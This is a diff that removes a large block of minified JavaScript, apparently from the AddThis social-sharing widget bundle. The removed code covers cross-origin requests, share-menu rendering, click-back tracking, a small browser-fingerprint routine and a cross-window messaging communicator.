-                            (t.onreadystatechange = () => {
-                                4 === t.readyState && (t.status >= 400 || 0 === t.status ? r(t) : s(t));
-                            }),
-                            t.send(e.data || null)
-                        );
-                    if (!u && window.XDomainRequest) {
-                        t = new XDomainRequest();
-                        var l;
-                        if (e.url) {
-                            var f = n(64);
-                            var p = f.du.split('//')[0];
-                            l = p + '//' + e.url.split('//')[1];
-                        }
-                        return (
-                            t.open(d, l || ''),
-                            (t.onload = () => {
-                                s(t);
-                            }),
-                            (t.onerror = () => {
-                                r(t);
-                            }),
-                            (t.onprogress = a),
-                            (t.ontimeout = a),
-                            (t.timeout = c),
-                            t.send(e.data || null)
-                        );
-                    }
-                    return i('Your browser does not support cross-origin requests.', r);
-                }
-                e.exports = o;
-            },
-            (e, t, n) => {
-                var a = n(445);
-                'string' == typeof a && (a = [
-                    [e.id, a, '']
-                ]);
-                n(330)(a, {});
-                a.locals && (e.exports = a.locals);
-            },
-            (e, t, n) => {
-                (t = e.exports = n(329)()),
-                t.push([
-                    e.id,
-                    '#at-expanded-menu-host #at-expanded-menu-container .at-expanded-menu{left:0;padding-left:50%}#at-expanded-menu-host #at-expanded-menu-container .at-branding-info.at-expanded-menu-branding,#at-expanded-menu-host #at-expanded-menu-container .at-branding-logo.at-expanded-menu-branding{left:20px;right:auto}#at-expanded-menu-host #at-expanded-menu-container .at-expanded-menu-search-label{text-align:right}#at-expanded-menu-host #at-expanded-menu-container .at-expanded-menu-search-icon{left:30px;right:auto}#at-expanded-menu-host #at-expanded-menu-container .at-expanded-menu-close{left:20px;right:auto}#at-expanded-menu-host #at-expanded-menu-container #at-expanded-menu-email-form .at-expanded-menu-email-field label{text-align:right;border:20px solid red}',
-                    ''
-                ]);
-            },
-            (e, t, n) => {
-                var a = n(447);
-                'string' == typeof a && (a = [
-                    [e.id, a, '']
-                ]);
-                n(330)(a, {});
-                a.locals && (e.exports = a.locals);
-            },
-            (e, t, n) => {
-                (t = e.exports = n(329)()), t.push([e.id, '', '']);
-            },
-            (e, t, n) => {
-                var a = n(449);
-                'string' == typeof a && (a = [
-                    [e.id, a, '']
-                ]);
-                n(330)(a, {});
-                a.locals && (e.exports = a.locals);
-            },
-            447,
-            (e, t, n) => {
-                var a = n(451);
-                'string' == typeof a && (a = [
-                    [e.id, a, '']
-                ]);
-                n(330)(a, {});
-                a.locals && (e.exports = a.locals);
-            },
-            447,
-            (e, t, n) => {
-                'use strict';
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var a = {};
-                var i =
-                    ((t.isModuleLoaded = (e) => !!a[e]),
-                        (t.setModuleLoaded = (e) => {
-                            a[e] = !0;
-                        }));
-                t.loadMenu = (e) => {
-                    a.menu ||
-                        (i('menu'),
-                            n.e(210, () => {
-                                n(453), e && e();
-                            }));
-                };
-            }, ,
-            (e, t) => {
-                e.exports = (e) => {
-                    e.preventDefault ? e.preventDefault() : (e.returnValue = !1);
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(319);
-                (e.exports = (e, t) => {
-                    var n = document.createElement('span');
-                    return (n.className = 'at-icon-wrapper at300bs'), (n = a(n, t));
-                }),
-                (e.exports.createCssServiceIcon = (e, t, n) => ({
-                    'background-image': 'url(' + t + ')',
-                    'background-repeat': 'no-repeat',
-                    'background-position': 'top left',
-                    'background-color': 'transparent !important',
-                    'line-height': n,
-                    'background-size': n,
-                    width: n,
-                    height: n
-                }));
-            }, ,
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e.reduce((e, t) => {
-                        var n = (t || {}).service;
-                        return n && (e[n] = v(n)), e;
-                    }, {});
-                }
-                function i(e, t, n, i) {
-                    var o = {
-                        customServicesCss: _atw.css,
-                        documentBodyClassName: document.body.className,
-                        documentElementClassName: document.documentElement.className,
-                        isBrandingReduced: _.isBrandingReduced(),
-                        initialInnerPane: e,
-                        initialMenuShare: t,
-                        initialMenuConfig: n,
-                        topServices: l()
-                    };
-                    return (
-                        i ?
-                        ((o.initialMenuType = 'follow'), (o.initialTotalServices = a(t._expandedMenuFollowServices || []))) :
-                        ((o.initialMenuType = 'share'), (o.initialTotalServices = _atw.list)),
-                        o
-                    );
-                }
-                function o() {
-                    (this._hasMountedExpandedMenu = !1),
-                    (this._menuConfig = {}),
-                    (this._menuShare = {}),
-                    (this._crossWindowCommunicator = null),
-                    (this._onWindowClose = null),
-                    (this.lastOpened = null);
-                }
-                var r = n(5);
-                var s = n(8);
-                var d = n(13);
-                var u = n(23);
-                var c = n(383);
-                var l = n(322);
-                var f = n(460);
-                var p = n(464);
-                var h = n(466);
-                var m = n(475);
-                var g = n(488);
-                var _ = (n(326), n(30));
-                var v = n(72);
-                var b = null;
-                var w = r('mob');
-                (o.prototype = {
-                    renderDesktopExpandedMenu(e, t, n, a, o) {
-                        c((r) => {
-                            var s = r.createExpandedMenu;
-                            var d = r.ExpandedMenuControllerView;
-                            var u = i(t, n, a, o);
-                            (u.hostNodeId = e), (u.eventDispatcher = addthis.ed), s(d, u);
-                        });
-                    },
-                    open(e, t, n, a, i, o) {
-                        var r;
-                        var d;
-                        p(t, n),
-                            (r = s(!0, {}, _ate.menu._menuConfig)),
-                            (d = s(!0, {}, _ate.menu._menuShare)),
-                            w || r.ui_508_compliant ? _ate.menu.openMobileVersion(d, r, a, i, o) : _ate.menu.openDesktopVersion(d, r, a),
-                            _ate.menu.trackMenuOpened(n, t, d, r);
-                    },
-                    openMobileVersion(e, t, n, a, o) {
-                        var r = i(t.ui_pane || 'expanded', e, t, n);
-                        if (((r.isMobile = !0), (r.mailtoUrl = g(e, t, !1)), (r.trackUrlForCopyLink = f('link', e, t)), this._crossWindowCommunicator)) {
-                            if (!a || !o)
-                                try {
-                                    this._crossWindowCommunicator.tellTargetCloseWindow();
-                                } catch (e) {
-                                    d.warn(e);
-                                }
-                            this._crossWindowCommunicator.disconnect();
-                        }
-                        (this._crossWindowCommunicator = h(r, a, o)),
-                        this._crossWindowCommunicator.on('disconnect', () => {
-                                this._crossWindowCommunicator.disconnect(), _ate.menu.close();
-                            }),
-                            this._crossWindowCommunicator.on('reinitialize', (a) => {
-                                _ate.menu.open(null, t, e, n, a.source, a.origin);
-                            }),
-                            this._crossWindowCommunicator.on('message', m(this._crossWindowCommunicator, _ate.ed, addthis)),
-                            this._onWindowClose ||
-                            ((this._onWindowClose = this._windowCloseHandler.bind(this)),
-                                u.listen(window, 'beforeunload', this._onWindowClose),
-                                u.listen(window, 'unload', this._onWindowClose));
-                    },
-                    openDesktopVersion(e, t, n) {
-                        this._hasMountedExpandedMenu ?
-                            _ate.ed.fire('addthis.expanded.reopen', null, {
-                                pane: t.ui_pane || 'expanded',
-                                menuShare: e,
-                                menuConfig: t,
-                                menuType: n ? 'follow' : 'share',
-                                totalServices: n ? a(e._expandedMenuFollowServices) : _atw.list
-                            }) :
-                            ((this._hasMountedExpandedMenu = !0), this.renderDesktopExpandedMenu('at-expanded-menu-host', t.ui_pane || 'expanded', e, t, n));
-                    },
-                    trackMenuOpened(e, t, n, a) {
-                        n.smd && n.smd.sta && _ate.track.uns(n.smd.sta),
-                            (this.lastOpened = (e && e.service && 'email' === e.service) || (a && 'email' === a.ui_pane) ? 'email' : 'expanded'),
-                            _ate.ed.fire('addthis.menu.open', window.addthis || {}, {
-                                pane: this.lastOpened,
-                                url: (t && t.url) || (n && n.url) || '',
-                                title: (t && t.title) || (n && n.title) || '',
-                                conf: t,
-                                share: e
-                            });
-                    },
-                    close() {
-                        (_ate.menu._crossWindowCommunicator = null),
-                        _ate.ed.fire('addthis.menu.close', window.addthis || {}, {
-                                pane: _ate.menu.lastOpened
-                            }),
-                            (_ate.menu.lastOpened = void 0);
-                    },
-                    _windowCloseHandler() {
-                        this._crossWindowCommunicator && (this._crossWindowCommunicator.tellTargetCloseWindow(), this.close()),
-                            u.unlisten(window, 'beforeunload', this._onWindowClose),
-                            u.unlisten(window, 'unload', this._onWindowClose),
-                            (this._onWindowClose = null);
-                    }
-                }),
-                (e.exports = () => (b || (b = new o()), b));
-            }, , ,
-            (e, t, n) => {
-                var a = n(401);
-                var i = n(461).clickifyURL;
-                var o = n(31);
-                var r = n(60).makeCUID;
-                var s = n(403);
-                e.exports = (e, t, n, d, u, c) => {
-                    var l = o();
-                    var f = d || t.url || '';
-                    var p = t.xid || r();
-                    var h = s(t);
-                    var m = n.data_track_clickback !== !1 || n.data_track_linkback || 'AddThis' === l || !l;
-                    return (
-                        0 === f.toLowerCase().indexOf('http%3a%2f%2f') && (f = window.decodeURIComponent(f)),
-                        u &&
-                        ((h.xid = p),
-                            setTimeout(() => {
-                                new Image().src = a('twitter' === e && c ? 'tweet' : e, 0, h, n);
-                            }, 100)),
-                        m ? i(f, e, p) : f
-                    );
-                };
-            },
-            (e, t, n) => {
-                function a(e) {
-                    if (!e) return 0;
-                    '#' === e.charAt(0) && (e = e.substr(1));
-                    var t = e.split(';').shift();
-                    return (
-                        3 === t.split('.').length && (t = t.split('.').slice(0, -1).join('.')),
-                        12 === t.length && '.' === t.substr(0, 1) && /[a-zA-Z0-9\-_]{11}/.test(t.substr(1)) ? 1 : 0
-                    );
-                }
-                function i(e) {
-                    return e.length === 11 + k && e.substr(0, k) === b && /[a-zA-Z0-9\-_]{11}/.test(e.substr(k));
-                }
-                function o(e) {
-                    e || (e = v.dr || '');
-                    var t;
-                    var n;
-                    var a;
-                    var o;
-                    var r;
-                    var s;
-                    var d;
-                    var u;
-                    var c;
-                    var p;
-                    var m;
-                    var g;
-                    var _;
-                    var b = 0;
-                    var w = 0;
-                    var C = v.du || '';
-                    var O = (v.du || '').split('#').shift();
-                    var M = v.hash.substr(1);
-                    var A = v.query;
-                    var E = l(v.hash);
-                    var S = E.at_st;
-                    var I = E.at_pco;
-                    var T = E.at_ab;
-                    var j = E.at_pos;
-                    var N = E.at_tot;
-                    var D = E.at_si;
-                    var R = A.sms_ss;
-                    var L = A.fb_ref;
-                    var z = A.at_xt;
-                    var P = A.at_st;
-                    S || (i(M) && ((d = f(M.substr(k))), (r = d.substr(8, 8)), (S = d.substr(0, 8) + '00000000,'), (S += parseInt(d.substr(16), 10)))),
-                        L &&
-                        !S &&
-                        ((u = y),
-                            (p = L.split(u)),
-                            p.length < 2 && L.indexOf('_') > -1 && ((u = '_'), (p = L.split(u))),
-                            (m = p.length > 1 ? p.pop() : ''),
-                            (g = p.join(u)),
-                            i(g) || ((g = L), (m = '')),
-                            i(g) ?
-                            ((d = f(g.substr(k))), (z = d.substr(0, 16) + ',' + parseInt(d.substr(16), 10)), (R = 'facebook_' + (m || 'like'))) :
-                            ((s = L.split('=').pop().split(y)), 2 == s.length && h(s[0]) && ((z = s.join(',')), (R = 'facebook_' + (m || 'like'))))),
-                        (S = S && h(S.split(',').shift()) ? S : ''),
-                        z ||
-                        ((u = M.indexOf(x) > -1 ? x : y),
-                            (c = M.substr(k).split(u)),
-                            2 == c.length &&
-                            i(M.substr(0, 1) + c[0]) &&
-                            ((d = f(c[0])), (z = d.substr(0, 16) + ',' + parseInt(d.substr(16), 10)), (R = c[1]), (b = 1))),
-                        I && (a = I),
-                        S ?
-                        ((w = parseInt(S.split(',').pop()) + 1), (n = S.split(',').shift())) :
-                        C.indexOf(_atd + 'book') == -1 &&
-                        O != e &&
-                        (z ?
-                            ((_ = z.split(',')), (t = _duc(_.shift())), t.indexOf(',') > -1 && ((_ = t.split(',')), (t = _.shift()))) :
-                            P && ((_ = P.split(',')), (o = _duc(_.shift())), o.indexOf(',') > -1 && ((_ = o.split(',')), (o = _.shift()))),
-                            _ && _.length && (w = Math.min(3, parseInt(_.pop()) + 1))),
-                        h(n) || (n = null),
-                        h(o) || (o = null),
-                        (R = (R || '').split('#').shift().split('?').shift());
-                    var B = {
-                        ab: T || null,
-                        pos: j,
-                        tot: N,
-                        rsi: n,
-                        cfc: a,
-                        hash: b,
-                        rsiq: o,
-                        fuid: r,
-                        rxi: t,
-                        rsc: R,
-                        gen: w,
-                        csi: D
-                    };
-                    return B;
-                }
-                function r(e) {
-                    return (e = e || window.addthis_config), !e || (e.data_track_clickback !== !1 && e.data_track_linkback !== !1);
-                }
-                function s(e, t) {
-                    if (!t || (t.data_track_clickback !== !1 && t.data_track_linkback !== !1)) {
-                        if (C) return !0;
-                        if (g() >= 250) return (C = !0);
-                        e = (e || w.addthis_product || '').split(',');
-                        for (var n = 0; n < e.length; n++)
-                            if (O[e[n].split('-').shift()]) return (C = !0);
-                    }
-                    return !1;
-                }
-                function d(e, t) {
-                    return (e = e || m()), b + p(e + Math.min(3, t || 0));
-                }
-                function u(e, t, n) {
-                    return (n = n || m()), e.indexOf('#') > -1 ? e : e + '#' + d(t ? n : n.substr(0, 8) + _(), o().gen) + (t ? y + t : '');
-                }
-                function c(e) {
-                    var t;
-                    var n;
-                    var i;
-                    var o;
-                    var r;
-                    var s;
-                    var d;
-                    return (
-                        e.indexOf('#') > -1 &&
-                        ((r = e.split('#').slice(1).shift()),
-                            a(r) &&
-                            ((s = r.substr(1).split('.')),
-                                (d = s.length ? s.shift() : ''),
-                                (n = s.length ? s.pop() : ''),
-                                d && ((d = f(d)), (t = d.substr(0, 16)), (i = parseInt(d.substr(16), 10)), isNaN(i) || ((o = o || {}), (o.gen = i))),
-                                h(t) && ((o = o || {}), (o.xid = t)),
-                                n.search(/^[a-zA-Z0-9_]+$/) != -1 && ((o = o || {}), (o.rsc = n)))),
-                        o
-                    );
-                }
-                var l = (n(35), n(33));
-                var f = n(16).atohb;
-                var p = n(16).hbtoa;
-                var h = n(60).isValidCUID;
-                var m = n(60).makeCUID;
-                var g = n(462);
-                var _ = n(463);
-                var v = n(64);
-                var b = '.';
-                var x = ';';
-                var y = '.';
-                var k = b.length;
-                var C = 0;
-                var O = {
-                    wpp: 1,
-                    blg: 1
-                };
-                e.exports = {
-                    clickifyURL: u,
-                    declickifyURL: c,
-                    generateClickbackCode: d,
-                    clickPrefix: b,
-                    clickTrackableProduct: s,
-                    extractOurParameters: o,
-                    isClickHash: a,
-                    isClickTrackingEnabled: r
-                };
-            },
-            (e, t) => {
-                e.exports = () => (!_atc || (!_atc.noup && _atc.ver >= 152) ? 300 : _atc.ver);
-            },
-            (e, t, n) => {
-                var a = n(366);
-                var i = window;
-                e.exports = () => {
-                    var e;
-                    var t = a(navigator.userAgent, 16);
-                    var n = new Date().getTimezoneOffset() + '' + navigator.javaEnabled() + (navigator.userLanguage || navigator.language);
-                    var o = i.screen.colorDepth + '' + i.screen.width + i.screen.height + i.screen.availWidth + i.screen.availHeight;
-                    var r = navigator.plugins;
-                    try {
-                        if (((e = r.length), e > 0))
-                            for (var s = 0; s < Math.min(10, e); s++) s < 5 ? (n += r[s].name + r[s].description) : (o += r[s].name + r[s].description);
-                    } catch (e) {}
-                    return t.substr(0, 2) + a(n, 16).substr(0, 3) + a(o, 16).substr(0, 3);
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t) {
-                    (e = e || {}), (_atw = _atw || {}), (_atw.conf = _atw.conf || {}), (_ate = _ate || {}), (_ate.menu = _ate.menu || {});
-                    var n = e.ui_language || (0, c.default)();
-                    (_ate.menu._menuShare = (0, d.default)(addthis_share)),
-                    (_ate.menu._menuConfig = (0, d.default)(addthis_config)),
-                    (0, r.default)(_ate.menu._menuConfig, e),
-                    'undefined' != typeof t &&
-                        ((_ate.menu._menuShare.url = t.url || _ate.menu._menuShare.url),
-                            (_ate.menu._menuShare.title = t.title || _ate.menu._menuShare.title),
-                            (_ate.menu._menuShare.description = t.description || _ate.menu._menuShare.description),
-                            (_ate.menu._menuShare.media = t.media || _ate.menu._menuShare.media),
-                            (_ate.menu._menuShare.url_transforms = t.url_transforms || _ate.menu._menuShare.url_transforms || {}),
-                            (_ate.menu._menuShare.hideEmailSharingConfirmation =
-                                t.hideEmailSharingConfirmation || _ate.menu._menuShare.hideEmailSharingConfirmation),
-                            (_ate.menu._menuShare._expandedMenuFollowServices = t._expandedMenuFollowServices),
-                            'email' === e.ui_pane &&
-                            ((_ate.menu._menuShare.email_template = t.email_template || _ate.menu._menuShare.email_template),
-                                (_ate.menu._menuShare.email_vars = t.email_vars || _ate.menu._menuShare.email_vars))),
-                        (_ate.menu._menuConfig.ui_pane = (e || {}).ui_pane || null),
-                        (_ate.menu._menuConfig.ui_lightbox = (e || {}).ui_lightbox || (addthis_config || {}).ui_lightbox || 'light'),
-                        (_ate.menu._menuConfig.image_service = (e || {}).image_service || null),
-                        (_ate.menu._menuConfig.image_container = (e || {}).image_container || null),
-                        (_ate.menu._menuConfig.image_include = (e || {}).image_include || null),
-                        (_ate.menu._menuConfig.image_exclude = (e || {}).image_exclude || null),
-                        (_ate.menu._menuConfig.ui_language = n);
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(465);
-                var r = a(o);
-                var s = n(403);
-                var d = a(s);
-                var u = n(18);
-                var c = a(u);
-                e.exports = t.default;
-            },
-            (e, t) => {
-                'use strict';
-                e.exports = (e, t, n) => {
-                    if (t && e !== t)
-                        for (var a in t) t.hasOwnProperty(a) && (void 0 === e[a] || n) && (e[a] = t[a]);
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t, n) {
-                    var a = 'https://s7.addthis.com/'.slice(0, -1);
-                    var i = t || (0, p.default)(a + '/static/standaloneExpandedMenu.html');
-                    var o = location.protocol + '//' + location.hostname + (location.port ? ':' + location.port : '');
-                    var d = new r.default({
-                        target: i,
-                        targetOrigin: n || a,
-                        eventNamespace: s.CROSS_WINDOW_NAMESPACE
-                    });
-                    return (
-                        d.once('connectionestablished', () => {
-                            d.post(
-                                (0, u.default)({}, e, {
-                                    translations: h
-                                })
-                            );
-                        }),
-                        d.connect(o),
-                        d
-                    );
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(467);
-                var r = a(o);
-                var s = n(473);
-                var d = n(8);
-                var u = a(d);
-                var c = n(66);
-                var l = a(c);
-                var f = n(474);
-                var p = a(f);
-                var h = {
-                    email: (0, l.default)('Email', 4),
-                    favorites: (0, l.default)('Favorites', 5),
-                    print: (0, l.default)('Print', 22),
-                    privacy: (0, l.default)('Print', 24),
-                    findAService: (0, l.default)('Find a service', 35),
-                    share: (0, l.default)('Share', 91),
-                    follow: (0, l.default)('Follow', 96),
-                    domaintoolswhois: (0, l.default)('Whois Lookup', 106),
-                    w3validator: (0, l.default)('HTML Validator', 107),
-                    mailto: (0, l.default)('Email App', 108),
-                    cleansave: (0, l.default)('Save', 109),
-                    link: (0, l.default)('Copy Link', 110),
-                    topServices: (0, l.default)('Top Services', 111),
-                    loadMore: (0, l.default)('Load More', 112),
-                    emailConfirmPermittedToSend: (0, l.default)('By sending, I affirm I am permitted to send this email.', 113)
-                };
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e) {
-                    function t() {
-                        (this.target = n),
-                        (this.targetOrigin = a),
-                        (this.eventNamespace = i),
-                        (this.communicationMedium = d),
-                        (this.isInitiator = f),
-                        (this.usePolling = d === u.CommunicationMedia.CROSS_WINDOW_COOKIES || l),
-                        (this._listeners = {}),
-                        (this.proxyListener = this.proxyListener.bind(this)),
-                        f ? this.listenForAck() : this.listenForHandshake();
-                    }
-                    var n = e.target;
-                    var a = e.targetOrigin;
-                    var i = e.eventNamespace;
-                    var o = e.activityDescriptor;
-                    var r = void 0 === o ? u.ActivityDescriptors.CROSS_WINDOW_INITIATOR : o;
-                    var s = e.communicationMedium;
-                    var d = void 0 === s ? u.CommunicationMedia.CROSS_WINDOW_POSTMESSAGE : s;
-                    var c = e.usePolling;
-                    var l = void 0 !== c && c;
-                    var f = r === u.ActivityDescriptors.CROSS_WINDOW_INITIATOR;
-                    return (t.prototype = f ? v : b), new t();
-                }
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var o = n(13);
-                var r = a(o);
-                var s = n(8);
-                var d = a(s);
-                var u = n(468);
-                var c = n(469);
-                var l = a(c);
-                var f = n(470);
-                var p = a(f);
-                var h = n(471);
-                var m = a(h);
-                var g = n(472);
-                var _ = a(g);
-                var v = (0, d.default)({}, l.default, p.default, _.default);
-                var b = (0, d.default)({}, l.default, m.default, _.default);
-                (i.loadCommunicatorUsingStorage = (e) => {
-                    var t = void 0;
-                    if (!e) return void r.default.error('Loading a communicator from storage requires supplying the original opening window.');
-                    try {
-                        t = JSON.parse(sessionStorage.getItem(u.Keys.CROSS_WINDOW_STORAGE_KEY));
-                    } catch (e) {
-                        return void r.default.error('Found unparseable data for cross-window communication in sessionStorage. Ignoring.');
-                    }
-                    if (t) {
-                        var n = t;
-                        var a = n.targetOrigin;
-                        var o = n.eventNamespace;
-                        var s = n.activityDescriptor;
-                        var d = n.usePolling;
-                        var c = n.communicationMedium;
-                        return new i({
-                            target: e,
-                            targetOrigin: a,
-                            eventNamespace: o,
-                            activityDescriptor: s,
-                            usePolling: d,
-                            communicationMedium: c
-                        });
-                    }
-                }),
-                (t.default = i),
-                (e.exports = t.default);
-            },
-            (e, t) => {
-                'use strict';
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var n = ['CROSS_WINDOW_JOINER', 'CROSS_WINDOW_INITIATOR'];
-                var a = ['CROSS_WINDOW_TARGET_CLOSE_WINDOW', 'CROSS_WINDOW_TARGET_REINITIALIZE_WITH_ORIGIN', 'CROSS_WINDOW_TARGET_DISCONNECT'];
-                var i = ['CROSS_WINDOW_STORAGE_KEY', 'CROSS_WINDOW_HANDSHAKE_KEY'];
-                var o = ['CROSS_WINDOW_POSTMESSAGE', 'CROSS_WINDOW_LOCALSTORAGE', 'CROSS_WINDOW_COOKIES'];
-                var r = (e, t) => ((e[t] = t), e);
-                (t.default = {
-                    ActivityDescriptors: n.reduce(r, {}),
-                    Commands: a.reduce(r, {}),
-                    Keys: i.reduce(r, {}),
-                    CommunicationMedia: o.reduce(r, {})
-                }),
-                (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t, n) {
-                    return (
-                        t in e ?
-                        Object.defineProperty(e, t, {
-                            value: n,
-                            enumerable: !0,
-                            configurable: !0,
-                            writable: !0
-                        }) :
-                        (e[t] = n),
-                        e
-                    );
-                }
-                function o(e) {
-                    if (Array.isArray(e)) {
-                        for (var t = 0, n = Array(e.length); t < e.length; t++) n[t] = e[t];
-                        return n;
-                    }
-                    return Array.from(e);
-                }
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var r = n(13);
-                var s = a(r);
-                var d = n(468);
-                var u = (() => {
-                    var e = {
-                        removeAllListeners() {
-                            var e = this;
-                            Object.keys(this._listeners).forEach((t) => e._listeners[t].forEach((n) => e.off(t, n)));
-                        }
-                    };
-                    return Object.freeze({
-                        on(e, t) {
-                            if ('string' != typeof e || 'function' != typeof t)
-                                throw new TypeError('The `on` method for this communicator expects a string event name and a listener function.');
-                            this._listeners[e] = (this._listeners[e] || []).concat(t);
-                        },
-                        off(e, t) {
-                            this._listeners[e] && 'function' == typeof t && (this._listeners[e] = this._listeners[e].filter((e) => e !== t));
-                        },
-                        once(e, t) {
-                            var n = this;
-                            if ('string' != typeof e || 'function' != typeof t)
-                                throw new TypeError('The `once` method for this communicator expects a string event name and a listener function.');
-                            var a = function(...args) {
-                                t.apply(void 0, args), n.off(e, a), (a = null);
-                            };
-                            this.on(e, a);
-                        },
-                        emit(e) {
-                            for (var t = arguments.length, n = Array(t > 1 ? t - 1 : 0), a = 1; a < t; a++) n[a - 1] = arguments[a];
-                            if ('string' != typeof e)
-                                throw new TypeError('The `emit` method for this communicator expects a string event name as the first argument.');
-                            var i = this._listeners[e];
-                            i && i.forEach((e) => e.apply(void 0, o(n)));
-                        },
-                        disconnect() {
-                            this.usePolling ?
-                                (clearTimeout(this._handshakePollTimeoutId),
-                                    clearTimeout(this._ackPollTimeoutId),
-                                    clearInterval(this._pollForMessagesIntervalId),
-                                    (this._handshakePollTimeoutId = null),
-                                    (this._ackPollTimeoutId = null),
-                                    (this._pollForMessagesIntervalId = null)) :
-                                this.communicationMedium === d.CommunicationMedia.CROSS_WINDOW_LOCALSTORAGE ?
-                                (window.removeEventListener('storage', this.proxyListener), window.localStorage.removeItem(this.eventNamespace)) :
-                                this.communicationMedium === d.CommunicationMedia.CROSS_WINDOW_POSTMESSAGE &&
-                                window.removeEventListener('message', this.proxyListener),
-                                clearTimeout(this._connectionTimeoutId),
-                                (this._connectionTimeoutId = null),
-                                (this.connectionEstablished = !1),
-                                e.removeAllListeners.call(this);
-                        },
-                        tellTargetCloseWindow() {
-                            this.post(d.Commands.CROSS_WINDOW_TARGET_CLOSE_WINDOW);
-                        },
-                        tellTargetReinitialize(e) {
-                            this.post(i({}, d.Commands.CROSS_WINDOW_TARGET_REINITIALIZE_WITH_ORIGIN, e));
-                        },
-                        tellTargetDisconnect() {
-                            this.post(d.Commands.CROSS_WINDOW_TARGET_DISCONNECT);
-                        },
-                        saveSession() {
-                            var e = void 0;
-                            try {
-                                e = JSON.stringify({
-                                    targetOrigin: this.targetOrigin,
-                                    eventNamespace: this.eventNamespace,
-                                    usePolling: this.usePolling,
-                                    communicationMedium: this.communicationMedium,
-                                    activityDescriptor: this.isInitator ? d.ActivityDescriptors.CROSS_WINDOW_INITIATOR : d.ActivityDescriptors.CROSS_WINDOW_JOINER
-                                });
-                            } catch (e) {
-                                throw new Error('CrossWindowCommunicator could not stringify target data for saving.');
-                            }
-                            try {
-                                sessionStorage.setItem(d.Keys.CROSS_WINDOW_STORAGE_KEY, e);
-                            } catch (e) {
-                                throw (s.default.error('CrossWindowCommunicator could not store data in sessionStorage. ' + e), e);
-                            }
-                        },
-                        proxyListener(e) {
-                            var t = this.getProxyMessage(e);
-                            if (t) {
-                                if (
-                                    (this.connectionEstablished ||
-                                        ((this.connectionEstablished = !0),
-                                            this.emit('connectionestablished'),
-                                            this.usePolling ?
-                                            (clearTimeout(this._handshakePollTimeoutId),
-                                                clearTimeout(this._ackPollTimeoutId),
-                                                (this._handshakePollTimeoutId = null),
-                                                (this._ackPollTimeoutId = null)) :
-                                            (clearTimeout(this._connectionTimeoutId), (this._connectionTimeoutId = null))),
-                                        t === d.Commands.CROSS_WINDOW_TARGET_CLOSE_WINDOW)
-                                )
-                                    return void this.emit('closewindow');
-                                if (t === d.Commands.CROSS_WINDOW_TARGET_DISCONNECT) return void this.emit('disconnect');
-                                var n = {
-                                    origin: this.targetOrigin,
-                                    source: e ? e.source : null,
-                                    message: t
-                                };
-                                this.emit(t[d.Commands.CROSS_WINDOW_TARGET_REINITIALIZE_WITH_ORIGIN] ? 'reinitialize' : 'message', n);
-                            }
-                        }
-                    });
-                })();
-                (t.default = u), (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e, t, n) {
-                    return (
-                        t in e ?
-                        Object.defineProperty(e, t, {
-                            value: n,
-                            enumerable: !0,
-                            configurable: !0,
-                            writable: !0
-                        }) :
-                        (e[t] = n),
-                        e
-                    );
-                }
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var i = n(468);
-                var o = (() => {
-                    var e = {
-                        setConnectionStatus(e) {
-                            (this.connectionEstablished = e), clearTimeout(this._connectionTimeoutId), (this._connectionTimeoutId = null);
-                        },
-                        onHandshakeAcknowledged() {
-                            e.setConnectionStatus.call(this, !0), this.emit('connectionestablished');
-                        },
-                        onHandshakeTimeout() {
-                            e.setConnectionStatus.call(this, !1), this.emit('connectionfailed');
-                        },
-                        handshakeAckListener(t) {
-                            var n = e.getAckMessage.call(this, t);
-                            if (n) {
-                                if (!this.usePolling) {
-                                    var a = this.communicationMedium === i.CommunicationMedia.CROSS_WINDOW_LOCALSTORAGE ? 'storage' : 'message';
-                                    window.removeEventListener(a, this._handshakeAckListener), window.addEventListener(a, this.proxyListener);
-                                }
-                                e.onHandshakeAcknowledged.call(this);
-                            }
-                        },
-                        getAckMessage(e) {
-                            var t = this.getUnwrappedData(e),
-                                n = t.message,
-                                a = t.recipient;
-                            if (!n) return null;
-                            var o = !1;
-                            return (
-                                (o =
-                                    this.communicationMedium !== i.CommunicationMedia.CROSS_WINDOW_POSTMESSAGE ?
-                                    (this.isInitiator && a === i.ActivityDescriptors.CROSS_WINDOW_INITIATOR) ||
-                                    (!this.isInitiator && a === i.ActivityDescriptors.CROSS_WINDOW_JOINER) :
-                                    e.source === this.target && e.origin === this.targetOrigin),
-                                o ? n : null
-                            );
-                        },
-                        pollForAck() {
-                            var t = this;
-                            if (this.communicationMedium === i.CommunicationMedia.CROSS_WINDOW_POSTMESSAGE)
-                                throw new Error('Polling listeners cannot be used with postMessage communicators.');
-                            if (!this._ackPollTimeoutId) {
-                                var n = function n() {
-                                    e.handshakeAckListener.call(t),
-                                        clearTimeout(t._ackPollTimeoutId),
-                                        t.connectionEstablished ? (delete t._ackPollTimeoutId, t.pollForMessages()) : (t._ackPollTimeoutId = setTimeout(n, 500));
-                                };
-                                this._ackPollTimeoutId = setTimeout(n, 0);
-                            }
-                        }
-                    };
-                    return Object.freeze({
-                        connect(t) {
-                            var n = this,
-                                o = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 50,
-                                r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : 100;
-                            if (this.usePolling)
